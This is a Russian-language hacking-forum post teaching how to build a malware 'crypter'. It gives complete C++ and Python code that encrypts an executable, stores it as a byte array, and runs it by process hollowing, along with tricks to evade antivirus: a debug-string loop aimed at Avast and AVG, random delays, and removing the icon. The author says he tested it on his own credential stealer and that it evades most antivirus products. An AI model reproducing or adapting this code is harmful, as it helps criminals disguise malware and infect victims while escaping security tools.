ims0rry
Omae wa mou shindeiru
Please note, if you want to make a deal with this user, that it is blocked.
Вся информация предоставлена исключительно в ознакомительных целях. Ни администрация, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи.
Материалы:
- Visual Studio
- Python 3.5
- Python 2.7
- 2 руки
- Пару извилин
А начнем мы, пожалуй, с написания самой простой программки, на которой мы и будем тестировать наш крипт.
(Далее - пейлоад)
Создаем проект консольного C++ приложения (x86 или win32).
Внутри прописываем:
Код:
#include <Windows.h>
int main()
{
MessageBox(NULL, L"test", L"test", ICON_SMALL);
return 0;
}
Откладываем этот проект и приступаем к части шифрования данных.
(Далее - энкодер)
Создаем еще один такой же проект.
Далее нам нужно набросать примерный алгоритм шифрования байтов.
Я сильно заморачиваться не буду и просто напишу вычитание из оригинала 0х11.
Для начала узнаем размер считываемого файла:
Код:
FILE * file = fopen("in.exe", "rb");
if (file == NULL) return 0;
fseek(file, 0, SEEK_END);
long int size = ftell(file);
fclose(file);
Код:
file = fopen("in.exe", "rb");
unsigned char * in = (unsigned char *)malloc(size);
int bytes_read = fread(in, sizeof(unsigned char), size, file);
fclose(file);
for (int i = 0; i < size; i++) {
in[i] = in[i] - 0x11;
}
Код:
file = fopen("out.exe", "wb");
int bytes_written = fwrite(in, sizeof(unsigned char), size, file);
fclose(file);
Код:
for (int i = 0; i < size; i++) {
in[i] = in[i] + 0x11;
}
file = fopen("decr.exe", "wb");
bytes_written = fwrite(in, sizeof(unsigned char), size, file);
fclose(file);
Далее, нам нужно получить массив байт из зашифрованного файла, чтоб в дальнейшем вставить этот массив в криптор.
Для этого пишем простенький скрипт на Python 2.7 и прогоняем через него наш файл out.exe:
Код:
import os, binascii
target = "out.exe"
output_file = "file.txt"
bytes_per_line = 16
try:
count = 0;
index = 0;
output = "unsigned char rawData[] = {\n\t"
with open(target, "rb") as f:
hexdata = binascii.hexlify(f.read())
hexlist = map(''.join, zip(*[iter(hexdata)]*2))
for hex in hexlist:
if count >= bytes_per_line:
output += "\n\t"
count = 0;
output += "0x" + str(hexlist[index]).upper() + ","
count += 1;
index += 1;
output += "\n};\n"
out = open(output_file, "w")
out.write(output)
out.close()
except:
pass
Теперь самая важная часть криптора - собственно, сам криптор.
Создаем проект приложения win32 и вставляем наш массив из файла file.txt перед методом main().
Сразу прописываем хедеры к этому файлу:
Код:
#include <windows.h>
#include <winternl.h>
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"ntdll.lib")
Код:
int RunPortableExecutable(void* Image) {
IMAGE_DOS_HEADER* DOSHeader;
IMAGE_NT_HEADERS* NtHeader;
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase;
void* pImageBase;
int count;
char buffer[MAX_PATH];
GetModuleFileNameA(NULL, (LPSTR)buffer, MAX_PATH);
char *CurrentFilePath = buffer;
DOSHeader = PIMAGE_DOS_HEADER(Image);
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) {
ZeroMemory(&PI, sizeof(PI));
ZeroMemory(&SI, sizeof(SI));
typedef LONG(WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);
NtUnmapViewOfSection mNtUnmapViewOfSection;
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &SI, &PI)) {
CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL;
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) {
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++) {
SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);
return 0;
}
}
}
}
Код:
for (int i = 0; i < 550000; i++)
OutputDebugStringW(L""); //Код для заглота Avast & AVG
for (int i = 0; i < sizeof(rawData) / sizeof(*rawData); i++) {
unsigned char b = rawData[i] + 0x11;
rawData[i] = b;
}
Sleep(((rand() % 5 + 1) + 2) * 1000); //Рандомная задержка
RunPortableExecutable(rawData);
delete[] rawData;
Иии, собственно все, криптор готов.
Единственный момент - после компиляции проекта криптора, на файле будет иконка. Уберите ее, а то словите очень много GEN детектов.
Таким методом обходится не только Scantime, но и Runtime. Это я протестировал лично на своем стиллере. Как результат - полный обход всех популярных антивирусов, кроме Avira.
Scantime - http://viruscheckmate.com/id/2cO3PRtR2r8x
Runtime - https://run4me.net/result/1db6493fd0fc5c2fba2ea6a4f1a8a20594c37754c21bb1fe4fed7aaad68d63d6
Полностью автоматизированный билдер с рандомной генерацией числа, отнимаемого от оригинала + сорцы -
Для просмотра содержимого вам необходимо авторизоваться.
Последнее редактирование модератором: